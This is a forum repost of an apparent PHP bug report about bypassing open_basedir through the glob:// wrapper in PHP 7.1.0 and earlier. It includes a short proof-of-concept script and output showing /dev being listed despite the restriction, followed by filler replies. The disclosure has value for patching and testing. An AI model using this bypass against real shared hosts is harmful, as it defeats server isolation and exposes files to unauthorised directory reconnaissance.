查看: 144930|回复: 10047

PHP 7.1.0 and prior open_basedir bypass through glob wrapper Vulnerability

[复制链接]
  • TA的每日心情

    2024-11-13 20:06
  • 签到天数: 1628 天

    [LV.Master]伴坛终老

    发表于 2017-1-11 12:02:50 | 显示全部楼层 |阅读模式
    # ./php -v
    PHP 7.1.0 (cli) (built: Dec 23 2016 16:08:30) ( NTS DEBUG )
    Copyright (c) 1997-2016 The PHP Group
    Zend Engine v3.1.0-dev, Copyright (c) 1998-2016 Zend Technologies
    [PHP] 纯文本查看 复制代码
    
    Test script:
    ---------------
    <?php
    if ($dh = opendir($argv[1])) {
    while (($file = readdir($dh)) !== false) {
    echo "$file\n";
    }
    closedir($dh);
    }
    
    
    Expected result:
    ----------------
    Warning: opendir(): open_basedir restriction in effect. File(/dev/) is
    not within the allowed path(s): (/virtual/) in
    /virtual/php/71/bin/bypass.php on line 2
    
    Warning: opendir(/dev/): failed to open dir: Operation not permitted in
    /virtual/php/71/bin/bypass.php on line 2
    
    Actual result:
    --------------
    # ./php bypass.php "/dev/"
    
    Warning: opendir(): open_basedir restriction in effect. File(/dev/) is
    not within the allowed path(s): (/virtual/) in
    /virtual/php/71/bin/bypass.php on line 2
    
    Warning: opendir(/dev/): failed to open dir: Operation not permitted in
    /virtual/php/71/bin/bypass.php on line 2
    # ./php bypass.php "glob:///dev/*"
    MAKEDEV
    apm
    apmctl
    arandom
    audio
    audio0
    audio1
    
    


    References:

    https://github.com/php/php-src/c ... a53ea9a0796f4634276
    回复

    使用道具 举报

    该用户从未签到

    发表于 2017-1-11 13:02:26 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2017-1-11 13:19:33 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2017-1-11 14:03:20 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2017-1-11 14:14:06 | 显示全部楼层
    支持中国红客联盟(ihonker.org)
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2017-1-11 15:04:06 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2017-1-11 15:57:42 | 显示全部楼层
    非常感谢
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2022-10-21 10:32
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2017-1-11 16:24:56 | 显示全部楼层
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2017-1-11 16:30:10 | 显示全部楼层
    支持,看起来还是可以的
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2017-1-11 17:25:03 | 显示全部楼层
    我是来水经验的……
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-4 01:11 , Processed in 0.027362 second(s), 15 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部